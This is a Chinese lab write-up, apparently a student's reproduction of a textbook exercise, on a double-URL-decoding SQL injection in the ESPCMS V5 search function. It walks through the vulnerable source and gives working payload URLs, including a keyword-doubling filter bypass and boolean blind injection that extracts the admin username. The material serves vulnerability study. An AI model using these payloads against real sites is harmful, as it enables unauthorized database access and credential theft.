复现ESPCMS搜索注入漏洞(urldecode注入漏洞)
下载易思ESPCMS企业网站管理系统的V5 版本,根据安装说明,安装并配置ESPCMS

复现ESPCMS搜索注入漏洞
使用Seay源代码审计系统 找到漏洞

以《漏洞挖掘与防范》书本4.1.1.4为例

$tagkey变量是函数accept函数返回值 定位accept函数

打开文件找到函数

根据$var=R 传递的是$_REQUEST['tagkey']输入的值
$tagkey变量进行了urldecode解码则会导致二次解码生成单引号而引发注入我们提交/1.php?id=l%2527,因为提交的参数里面没有单引号,所以第一次解码后的结果是id=1%27,%25解码的结果是%
![]()
$tagkey的过滤函数 inputcodetrim()

可见只针对关键字进行过滤,即可以使用重写绕过函数
想对类中函数进行调用则需要实例化该类,即对该类名进行全局搜索

发现index.php 文件实例化该类 即在首页有触发漏洞

通过在可输入框随机输入

可控变量为ac at 在源代码中寻找![]()
定位indexget()函数

由$k得到ac 或at $var=R 全文预览

$archive为被包含执行的文件名,$action用来指明该文件中调用的函数名,$mainlist->in_$action()调用该函数。我们通过现在可知/index.php页面是通过ac传参定位相应文件,调用其中at函数,若ac=search,at=taglist,则到search.php调用函数in_taglist(),再通过$tagkey变量传参,触发sql注入漏洞。
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527 构造payload

界面出错却没有显示出错内容,不能进行报错注入
对参数进行补全 然后urlencode二次编码
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2b%2523

成功 但无报错信息 使用布尔盲注
用盲注查询username
length(username)=1 不成功 当等于5时

成功
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or did>1 and 97=ascii(seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)#
二次编码
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527%252ctags)%2bor%2bdid%253e1%2band%2b97%253dascii((seselectlect%2b%2bmid(username%252c1%252c1)%2bfrfromom%2bespcms_admin_member%2blimit%2b1))%2523
页面正常,因此username第1位即a.
同理,可以得出用户名为admin

浙公网安备 33010602011771号